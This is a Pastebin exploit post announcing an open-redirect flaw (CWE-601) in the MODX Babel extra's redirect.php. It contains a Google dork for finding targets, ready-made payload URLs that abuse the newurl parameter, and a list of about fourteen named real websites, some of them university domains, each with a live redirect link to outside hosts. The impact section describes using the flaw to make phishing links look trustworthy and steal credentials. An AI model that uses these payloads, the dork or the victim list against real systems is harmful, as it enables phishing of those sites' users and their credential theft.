API tools faq
paste
KingSkrupellos

ModX Open Source CMS Babel Modules 3.0.0 Open Redirect

KingSkrupellos
Jan 14th, 2019
863
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.83 KB | None | 0 0
raw download clone embed print report
  1. ###############################################################################################
  2.  
  3. # Exploit Title : ModX Open Source CMS Babel Modules 3.0.0 Open Redirect
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 14/01/2019
  7. # Vendor Homepage : modx.com/extras/package/babel
  8. # Software Download Link : modx.com/extras/download/?id=584e5c06bc8dd305728b4568
  9. # Software Information Link : docs.modx.com/extras/revo/babel
  10. # Tested On : Windows and Linux
  11. # Category : WebApps
  12. # Affected Versions : 2.1.0 - 2.25 - 2.6.x and 3.0.0
  13. # Exploit Risk : Medium
  14. # Google Dorks : inurl:''/modules/babel/""
  15. # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
  16.  
  17. ###############################################################################################
  18.  
  19. # Description About the Product :
  20. *******************************
  21.  
  22. Babel is an Extra for MODx Revolution that helps you managing your multilingual websites using different contexts.
  23.  
  24. Babel even supports managing several different multilingual websites within one MODx instance by using so called context groups.
  25.  
  26. Babel maintains links between translated resources. In the manager you can use the Babel Box to easily switch
  27.  
  28. between the different language versions of your resources. Translations can be created automatically by Babel or defined manually.
  29.  
  30. Additionally Babel can be used to synchronize certain template variables (TVs) of translated resources
  31.  
  32. which should be the same in every context (language).
  33.  
  34. ###############################################################################################
  35.  
  36. # Impact :
  37. *********
  38.  
  39. * This web application called as ModX Open Source CMS Babel Modules 3.0.0 and other versions
  40.  
  41. accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect.
  42.  
  43. This simplifies phishing attacks.
  44.  
  45. * An http parameter may contain a URL value and could cause the web application to redirect
  46.  
  47. the request to the specified URL. By modifying the URL value to a malicious site, an attacker may
  48.  
  49. successfully launch a phishing scam and steal user credentials. Because the server name in the
  50.  
  51. modified link is identical to the original site, phishing attempts have a more trustworthy appearance.
  52.  
  53. ###########################################################################
  54.  
  55. # Open Redirection Exploit :
  56. ***********************
  57.  
  58. /modules/babel/redirect.php?newlang=[CHANGE-LANGUAGE]&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]
  59.  
  60. /modules/babel/redirect.php?newlang=en_EN&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]
  61.  
  62. /modules/babel/redirect.php?newlang=en_US&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]
  63.  
  64. /modules/babel/redirect.php?newlang=en_GB&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]
  65.  
  66. /modules/babel/redirect.php?newlang=fr_fr&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]
  67.  
  68. /web/modules/babel/redirect.php?newlang=lv_LV&newurl=https://[OPEN-REDIRECT-ADDRESS-HERE.gov]
  69.  
  70. ###############################################################################################
  71.  
  72. # Example Vulnerable Sites :
  73. *************************
  74.  
  75. [+] lehameaudepalombaggia.com/modules/babel/redirect.php?newlang=en_EN&newurl=https://cxsecurity.com/ =>
  76.  
  77. [ Proof of Concept for Open Redirect Vulnerability ] => archive.is/phsBH
  78.  
  79. [+] sbeilfuss-webdesign.nl/noorder/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com
  80.  
  81. [+] nurenergie.com/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/
  82.  
  83. [+] stormcasinos.com/modules/babel/redirect.php?newlang=en_GB&newurl=http://exploit4arab.org/
  84.  
  85. [+] aime-toulouse.fr/cmsms/modules/babel/redirect.php?newlang=fr_FR&newurl=http://exploit4arab.org/
  86.  
  87. [+] serveriem.lv/web/modules/babel/redirect.php?newlang=lv_LV&newurl=http://exploit4arab.org/
  88.  
  89. [+] web.dici.unipi.it/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/
  90.  
  91. [+] geo.ulg.ac.be/cms/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/
  92.  
  93. [+] alpe-adria.com/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/
  94.  
  95. [+] lebenstanz.info/modules/babel/redirect.php?newlang=fr_fr&newurl=http://exploit4arab.org/
  96.  
  97. [+] augustinians.net/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/
  98.  
  99. [+] eds-pt.com/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/
  100.  
  101. [+] pluzine.me/modules/babel/redirect.php?newlang=en_US&newurl=http://exploit4arab.org/
  102.  
  103. [+] theatredecale.com/tdcms/modules/babel/redirect.php?newlang=en_EN&newurl=http://exploit4arab.org/
  104.  
  105. ###############################################################################################
  106.  
  107. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  108.  
  109. ###############################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!